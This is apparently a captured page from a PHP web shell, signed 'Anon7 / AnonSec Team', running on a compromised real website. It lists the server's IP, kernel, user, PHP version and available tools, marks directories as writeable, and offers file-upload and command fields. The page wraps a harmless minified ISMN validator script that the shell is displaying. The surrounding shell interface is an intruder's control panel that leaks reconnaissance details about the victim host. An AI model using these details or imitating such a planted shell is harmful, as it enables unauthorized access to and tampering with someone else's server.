NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 18.117.119.7
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/uat.pcu.in.th/demo15/src/plugins/formvalidation/dist/es6/validators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/uat.pcu.in.th/demo15/src/plugins/formvalidation/dist/es6/validators/ismn.js
export default function e(){return{validate(e){if(e.value===""){return{meta:null,valid:true}}let t;switch(true){case/^M\d{9}$/.test(e.value):case/^M-\d{4}-\d{4}-\d{1}$/.test(e.value):case/^M\s\d{4}\s\d{4}\s\d{1}$/.test(e.value):t="ISMN10";break;case/^9790\d{9}$/.test(e.value):case/^979-0-\d{4}-\d{4}-\d{1}$/.test(e.value):case/^979\s0\s\d{4}\s\d{4}\s\d{1}$/.test(e.value):t="ISMN13";break;default:return{meta:null,valid:false}}let a=e.value;if("ISMN10"===t){a=`9790${a.substr(1)}`}a=a.replace(/[^0-9]/gi,"");let s=0;const l=a.length;const d=[1,3];for(let e=0;e<l-1;e++){s+=parseInt(a.charAt(e),10)*d[e%2]}s=(10-s%10)%10;return{meta:{type:t},valid:`${s}`===a.charAt(l-1)}}}}

Anon7 - 2022
AnonSec Team